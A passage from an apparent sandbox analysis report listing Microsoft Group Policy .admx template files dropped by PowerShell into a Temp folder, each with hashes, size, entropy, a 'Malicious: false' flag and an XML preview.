SSDEEP:	384:2rOdBD3T37XJXn3PorppXJMvrmQKinkESJwjoJeFNa5KDYmckjMcm2qirS795Yfo:2yZArjXOPF5Q8pVPbQaKwTiFMk1R1XT
MD5:	9F3C2D688FCBDB7B4CDA9B645B6E3D5F
SHA1:	9F3BA194604E875D3C7AAF7268C264BBAA1A773E
SHA-256:	08639812EADB3F6C0ACE4D58CA78C1E613BFE88747E1C9582F0B2DA01B29480C
SHA-512:	6A046AC443757D56EC8875D14A1FE0F38E8B0BB7759219611B3E174542E9CD6D950E30A7633E7AC38AC51BEB9C908EE4DCFBB1B2193D41F5300F67A275DAFFFC
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsexplorer" namespace="Microsoft.Policies.WindowsExplorer" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="inetres" namespace="Microsoft.Policies.InternetExplorer" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Comdlg" displayName="$(string.Comdlg)">.. <parentCategory ref="windows:WindowsExplorer" />.. </category>.. </categories>.. <policies>.. <policy name="NoBackButton" class="User" displayName="$(string.NoBackButton)" explainText="$(string.NoBackButton_Help)" key="Software\Microsoft\Windows\CurrentVersion\Polic

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsFileProtection.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3000
Entropy (8bit):	5.1079019945086275
Encrypted:	false
SSDEEP:	48:3geDw08gmDoflf8ofHKnKI25WFJyZYqZwiH1hEJyZYqZwAv1APJyZYqZwjKe1Fv0:QeD/mDoflEovKnKN5sJAFZwiH1iJAFZr
MD5:	C86782A0615825D31BC1BCF2C7DF90FC
SHA1:	8FED14A858134BB705E5C2C50C021DEC1144F5B8
SHA-256:	F5CA74E4C97DBD1F9EA70BA7660682F0F2D47BC9EB413C2413E36C21DB3F7C75
SHA-512:	55BDE3A18179C439E1AB7A6FF24EAAF838576F666BA2FA5DFD543714FDC794E339A69491B8F8BEB88423174CD0ED42626824A6064FD5981799EB395E27E6DB04
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsfileprotection" namespace="Microsoft.Policies.WindowsFileProtection" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WFP" displayName="$(string.WFP)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="WFPDllCacheDir" class="Machine" displayName="$(string.WFPDllCacheDir)" explainText="$(string.WFPDllCacheDir_Help)" presentation="$(presentation.WFPDllCacheDir)" key="Software\Policies\Microsoft\Windows NT\Windows File Protection">.. <pa

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsFirewall.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (343), with CRLF line terminators
Category:	dropped
Size (bytes):	27019
Entropy (8bit):	4.983816375333454
Encrypted:	false
SSDEEP:	768:/U4HspAV+1hWOsAUAlAsKwUA7+rhZZfA0AsAC:/U4HeAV+1hWOsAUAlAsKDA7+rhZZfA0d
MD5:	BFA8E91789D4CD0028F55E5C4E9F09F0
SHA1:	B5ADAB8844D53AC0352ABAF1301C03F387C551D9
SHA-256:	AE1C63E64A7FEE683E87A4516F8ADA593E508FA233929026A0682D0986B0612C
SHA-512:	20247BDDB2A10EC7C1142368DB94F21A824AFBCBC06BE8A784D375ABC60F348C097FDBBC7251CBCA4BA8FA601F0A607C8C5043B0775BE4E4FE882CA89B835BD9
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsfirewall" namespace="Microsoft.Policies.WindowsFirewall" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="netcon" namespace="Microsoft.Policies.NetworkConnections" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WF_Category" displayName="$(string.WF_Category)">.. <parentCategory ref="netcon:NetworkConnections" />.. </category>.. <category name="WF_Profile_Domain" displayName="$(string.WF_Profile_Domain)">.. <parentCategory ref="WF_Category" />.. </category>.. <category name="WF_Profile_Standard" displayNa

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsMail.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2767
Entropy (8bit):	5.114918949253196
Encrypted:	false
SSDEEP:	48:3geDw08gmDojfaofHKnKCZQ521tbbNzf1tbbNBjJ71vbbhdBgVJ71vbbhq:QeD/mDojyovKnKn521FNb1FNH1xd21xq
MD5:	1E3F68D519905A8409EEA16AE1C37EA1
SHA1:	B4F052D190902EFACBBD87F059A6EE35CC29AA61
SHA-256:	570602768CB93B7B0B6FAD45C0C53286B8052BDAAB9BDD3B0ACBF1EDD6F97D35
SHA-512:	3AE2CF5C45E6B5A94AB4A7BB35D7FD79B1D911A5E172FF68741644690EAF2D44E107E428D3309883547AEB850EB8103095E21D66C3B0AB16D805E2F33048E3B3
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsmail" namespace="Microsoft.Policies.WindowsMail" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WindowsMail" displayName="$(string.WindowsMail)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="TurnOffWindowsMail_1" class="User" displayName="$(string.TurnOffWindowsMail)" explainText="$(string.WindowsMail_help)" key="SOFTWARE\Policies\Microsoft\Windows Mail" valueName="ManualLaunchAllowed">.. <parentCategory ref="Windows

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsMediaDRM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	5.169882003430882
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtPg6f+qh0s6fE3+dK9lKG/cpKjcpZsqlahF+2hJJo:3geDw08gmDoVfzofHKnKQQ57sqlahxq
MD5:	C4824CC6DBA3E3663AC7A2584491FDBA
SHA1:	FCFF700D8302A9FAC19F7127B73394FE54A17426
SHA-256:	90EA32ED96670418A3376811075AD783B78A4DECF992CEA99CEA8B7249ADAF9A
SHA-512:	E36102507AD33B2DC8F210A02E9A8498BCCDE00C137E0A163E9076E02BA01991C6AD16BC53453524016C673C9EFDB62F1CA0D0C7ABD385C7FFB60949453A84A2
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsmediadrm" namespace="Microsoft.Policies.DigitalRights2" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WMDRMCat" displayName="$(string.WMDRMCat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="DisableOnline" class="Machine" displayName="$(string.DisableOnline)" explainText="$(string.DisableOnlineExplain)" key="Software\Policies\Microsoft\WMDRM" valueName="DisableOnline">.. <parentCategory ref="WMDRMCat" />.. <sup

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsMediaPlayer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (348), with CRLF line terminators
Category:	dropped
Size (bytes):	22974
Entropy (8bit):	4.771284527010467
Encrypted:	false
SSDEEP:	384:MwjkGQRj4s/Ky/NjWow/3Wny891dqU9NlpTlVrkDOj73P109aEgrkDOj7VC1IfG4:EX7y0P/rU593uKC
MD5:	9A3C32D543BE72D2BB3C90F38FEA39F2
SHA1:	6B82F655ED553F1974E9988A77B0874E97767040
SHA-256:	3245240CFC768E6660176A1C7E83C2B15A9E6F9E3F21BED98940D9413D655FB7
SHA-512:	9BA80B2630B126C64180A4BB695AB832BC2097828010BC61FACC0E207AC1165BE25D6772EA0529FBFFE1E1AB50A769CC186E11062552718E1517967C152E9D50
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wmplayer" namespace="Microsoft.Policies.MediaPlayer" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <supersededAdm fileName="wmplayer.adm" />.. <resources minRequiredRevision="1.0" />.. .. <supportedOn>.. <definitions>.. Windows Media Player 9 Series and later.-->.. <definition name="SUPPORTED_WMP9" displayName="$(string.SUPPORTED_WMP9)">.. <or>.. <range ref="products:WindowsMediaPlayer" minVersionIndex="9" />.. </or>.. </definition>.. ..

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsMessenger.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2903
Entropy (8bit):	5.1600905152642085
Encrypted:	false
SSDEEP:	48:3geDw08gmDobfSofHKnKDC1Q5dA5eQDPgBNmddY+QDPgBNmdSA+DQDP9BNmdS1jS:QeD/mDobqovKnKr5QbhdsbhdRbYdXbYq
MD5:	58519484A7334577A272757F665B93A9
SHA1:	2E1865BF1B941E9C7EE5A82B615A77CCC795FF2F
SHA-256:	B3642314E47549AB52210FE9154830BB89857706072095322650AA982633529B
SHA-512:	9E4B3C38A39334A7A7586B4E8DDA085FB7889835DAFA45769868E3F7205420B19FFDBC8DF96F45A92FC12C3812FE4EEBD04C380D43E04C1E87158F89116A20FA
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsmessenger" namespace="Microsoft.Policies.WindowsMessenger" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WinMSG_WindowsMsg" displayName="$(string.WinMSG_WindowsMsg)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="WinMSG_NoAutoStartWindowsMsg_Comp" class="Machine" displayName="$(string.WinMSG_NoAutoStartWindowsMsg_Comp)" explainText="$(string.WinMSG_NoAutoStartWindowsMsg_Help)" key="Software\Policies\Microsoft\Messenger\Cl

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsProducts.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	9257
Entropy (8bit):	5.066764191852675
Encrypted:	false
SSDEEP:	96:QeD3DEOoOCXm0xbCO1G9BpspO+7b0fNokOr8Dzlb03rMOjkLki7qb08P3OGjgbYs:jL9X0R5ZCfN8C
MD5:	B71FF979ED5C57B3B5637CFEFDCBBBD1
SHA1:	73F405C2E9A240D3CA882E7C9952E66476C5CFD7
SHA-256:	763AD004537B97E77B7E56F1E6F629C782A7626D5C68AB90C364D01E3D85B318
SHA-512:	FBCD5D1245F1A4F96EF289601E4BA13ABF904805E94ABE302B9B85A43DF8D94A5A01732FE19044A484EE6621F2CA5A818DB2589EF5683BE4C2B808D96FCD3AD2
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="products" namespace="Microsoft.Policies.Products" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.... <supportedOn>.. <products>.. Microsoft Windows -->.. <product name="MicrosoftWindows" displayName="$(string.MicrosoftWindows)">.. <majorVersion name="MicrosoftWindows2000" displayName="$(string.MicrosoftWindows2000)" versionIndex="1">.. <minorVersion name="MicrosoftWindows2000_RTM" displayName="$(string.MicrosoftWindows2000_RTM)" versionIndex="0"/>.. <minorVersion name="MicrosoftWi

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsRemoteManagement.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	10530
Entropy (8bit):	4.998493942649387
Encrypted:	false
SSDEEP:	192:vYoG2SC8mzuPQ63E00isKOdp3ql5yq5KNfEfknGI6+XVy:cC8mzuPQ63E0J4pM5yq5Kh4knGI6+XVy
MD5:	87E6E6C38F00F7D6712C3C7DB37B3EAA
SHA1:	97AC4245FB52FF6575D91706F2DF052B5D171DF0
SHA-256:	DD5311D2A43657115EE46D221AD0A674818C2729F5130B7497D9333DA7464D48
SHA-512:	AB94A426CA4EF1EABCF29A93B1A53BF2B44CE02FC7F535879DE95EC81F293B6887B45C837DA2FFF979DAE3B51F4E852726FA9D34779E06C484981E06C982E023
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsremotemanagement" namespace="Microsoft.Policies.WindowsRemoteManagement" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WinRM" displayName="$(string.WinRM)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="WinRMClient" displayName="$(string.WinRMClient)">.. <parentCategory ref="WinRM" />.. </category>.. <category name="WinRMService" displayName="$(string.WinRMService)">.. <parentCategory ref="WinRM" />.. </category>.. </categories>..

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsRemoteShell.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4338
Entropy (8bit):	5.17453297220449
Encrypted:	false
SSDEEP:	96:QeD/mDoEPLovKnKx59XLMdgiw+3iI1IJ7CSiwNe4m1Iiw1k3iU16hiw9OiU1miwp:vYoqLk37Z+tCcFgud4j9gyoVmGDC
MD5:	35623349078EAA8F139B7A6217962802
SHA1:	6F2576D37DD6427A0C288FC64D69B7A1A2197C08
SHA-256:	5CFC6AE24D9AC9D0669E99838C09A7EFFA42D7678E8924E4C922F1084A4FCFE7
SHA-512:	ED49B50422DE533431BF5E88BCA70812BA0DA3514D7CB8248BCADE033EE76B9C8597C3DD14F0D04D1DBC13258D3D1C5CEB98B7FD4089842C07E8ACF591C96E6A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="winrs" namespace="Microsoft.Policies.WindowsRemoteShell" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WinRS" displayName="$(string.WinRS)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AllowRemoteShellAccess" class="Machine" displayName="$(string.AllowRemoteShellAccess)" explainText="$(string.AllowRemoteShellAccess_Help)" key="Software\Policies\Microsoft\Windows\WinRM\Service\WinRS" valueName="AllowRemoteShellAccess">.. <

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsServer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	5.169503465747804
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtik6f1s6f53+ly+19iuUdMeo9ZXGduUdMeneNcK9lKshFd:3geDw08gmDt5frfEjNeaZXGcNeneSKnh
MD5:	5C92B84C84B6A0A84E4740D36900C83A
SHA1:	9BD90D42466DACFE77CE265F7AE06893F380A482
SHA-256:	2D9890B44D284E6B27F128ECE023752DF3AB17A478A98C2177D4DAE4137F7530
SHA-512:	7FF8687EDA51A5847B0DB116A339003880F35D27E888EC4E350102E8F6E9F93928AD13D4C128FD3C5BCB742EE3795F9F52D95F0CB13E45AC60FEB3B92A020855
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="server" namespace="Microsoft.Policies.Server" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. At least Windows Server 2008-->.. <definition name="SUPPORTED_WindowsServer2008" displayName="$(string.SUPPORTED_WindowsServer2008)">.. <or>.. <range ref="products:MicrosoftWindows" minVersionIndex="5"/>.. </or>.. </definition>.. <definition name="SUPPORTED_WindowsServer2003R2" displayName="$(string.SUPPORTED_WindowsServer2003R2)">.. <or>.. <range ref

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsUpdate.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (325), with CRLF line terminators
Category:	dropped
Size (bytes):	25222
Entropy (8bit):	4.912171221159928
Encrypted:	false
SSDEEP:	384:KwdeFTTQ/Q+QdaCeU6QHKHmY1GNRnQpQ3g1FVc4IQKdiKua/gQ2UQNkQesQc0QoF:Kw0FVdtxbRpVbg7+g9X3ZxXFA6DAT
MD5:	F545FF2650B1229D4F5B35BF1F1B6874
SHA1:	6C2682EBAC6078149CDF0A5A6F18802E113D0EAE
SHA-256:	8F6920DC328B245CEC0107DA295B5CCD0588566233B8E30A2574CC56FFE32C72
SHA-512:	03BDECC84488059E69390E60AE301368E25DB42F016F344A418AB4A1D187E1C90CA4C2E956D1CBBAB5122A793FC67B64D111D48D7A9ADEC8BE8450E57EEC9912
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wuau" namespace="Microsoft.Policies.WindowsUpdate" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <supersededAdm fileName="wuau.adm" />.. <resources minRequiredRevision="1.0" />.... <supportedOn>.. .. For product definitions (products:MicrosoftABC) please consult:.. //depot/winmain/ds/grouppolicy/PolicyDefinitions/WindowsProducts.admx.. .. For windows policy definitions (windows:XYZ):.. //depot/winmain/ds/grouppolicy/PolicyDefinitions/windows.admx .. //depot/winmain/ds/grouppolicy/PolicyDefinitions/WindowsServer.admx.. -->.. <

C:\Users\user\AppData\Local\Temp\file\Resource\Winsrv.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1342
Entropy (8bit):	5.19538359211181
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtQum/6fdc0s6fE3+dK9lKizOpKjcp/zdV7V/NZOqRe++2K:3geDw08gmDnumCfdcofHKnKiz25pzdV2
MD5:	B28573159BDEA736F3BDFF16604A4AD3
SHA1:	841DF32B7BED5EB01985B521F01931C2F1F6F4F4
SHA-256:	253011F5255EF7E5B271A9F813D68D8872D86ABEF9FFD0465B5419B309B35C14
SHA-512:	83EE79F6A392377BB9DDDC339E65920AE3E96A2F1FA75C49D645127C3F18C98FA921E75ACFE6DCD7AD9069E91CBEE8CE7DE4CF42A3D42E02FC51C89F19FF59BB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="blockedshutdownresolver" namespace="Microsoft.Policies.ShutdownResolver" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="ShutdownOptions" displayName="$(string.ShutdownOptions)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="AllowBlockingAppsAtShutdown" class="Machine" displayName="$(string.AllowBlockingAppsAtShutdown)" explainText="$(string.AllowBlockingAppsAtShutdown_Explain)" key="Software\Policies\Microsoft\Windows\System" valueName="All

C:\Users\user\AppData\Local\Temp\file\Resource\WordWheel.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1406
Entropy (8bit):	5.13913545836272
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKt76fZ0s6fE3+dK9lKkcpKjcptPmV18uF4i9BeywbaMPaMo:3geDw08gmDffZofHKnKkQ5r+I9iLpwmR
MD5:	69DD9BB743B7FBF1497660113B377298
SHA1:	66B9A51F846D3CB633EFE1A7828EC9FACE9291E3
SHA-256:	5AF309C75DECD8E1529D8D15539282B649B039BEFF935E96651CCFF51DF3048D
SHA-512:	1C4DC8167BD8C85FDC60B94EAF129BFB67F359DBA2E2411E8D354BE5D1B2D83AB43E006FB729BC77C3453E09920E58CA341778504B0514515569F6D7B7F97AC8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wordwheel" namespace="Microsoft.Policies.WordWheel" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WordwheelPolicies" displayName="$(string.WordwheelPolicies)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="CustomSearch" class="User" displayName="$(string.CustomSearch)" explainText="$(string.CustomSearch_Explain)" presentation="$(presentation.CustomSearch)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\SearchEx

C:\Users\user\AppData\Local\Temp\file\Resource\WorkFolders-Client.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2376
Entropy (8bit):	5.0998274185342
Encrypted:	false
SSDEEP:	48:3geDw08gmDCfOofHKnKh2Q5Ji09A1z7koWd+Si09+aft0oowwDYq+O5C:QeD/mDCGovKnKJ5Ji0K1z7Odji0ki0Ef
MD5:	473B782CB648710CFAAF9EA7C670E3A5
SHA1:	A8414FF1C4E68E05AE38A34101BBA99FABA5404C
SHA-256:	002C2C0898CC71968E336C254C45F9CB9D4B88CCC54549B133D81CF3694FC341
SHA-512:	3C1C5766B29F3F3F1A24168875AEBA303E79A0A4E9A4E54F8E5CFFA5A92AA031254BC527602A695B0273E919FDD2055BD1DD425677A42A92887AABB926299D45
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="WorkFolders" namespace="Microsoft.Policies.WorkFolders" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Cat_WorkFolders" displayName="$(string.Cat_WorkFolders)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="Pol_MachineEnableWorkFolders" .. clientExtension="{4d968b55-cac2-4ff5-983f-0a54603781a3}" .. class="Machine" .. displayName="$(string.Pol_MachineEnableWorkFolders)" .. explainText="$

C:\Users\user\AppData\Local\Temp\file\Resource\WorkplaceJoin.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	5.16534721861007
Encrypted:	false
SSDEEP:	24:2d1Dwjo8gyt4+3FpKtT6fhu0s6fE3+dK9lKM+eVcpKjcppdAAqVUxoEKqine1+2K:c1Dw08giD9fAofHKnKoVQ55Afm3ieBq
MD5:	4A94B4F104AF2C09215EB52D7F84F748
SHA1:	5C414D468A0B571CA9FEC00364DD4E2A185DBE92
SHA-256:	5FABF5C534F78CE92BF7DAA6D4ADE2DD61002E689A8246928209BF38D7BF1BEE
SHA-512:	971A7F298FB6ECE17BD9E02D636988960B4955ED8C6E44D271F4405E06268B65DB6CE396CAEEB41113EF2D220418C7C0BD48F3DC5852DE76331EEC0307516AF4
Malicious:	false
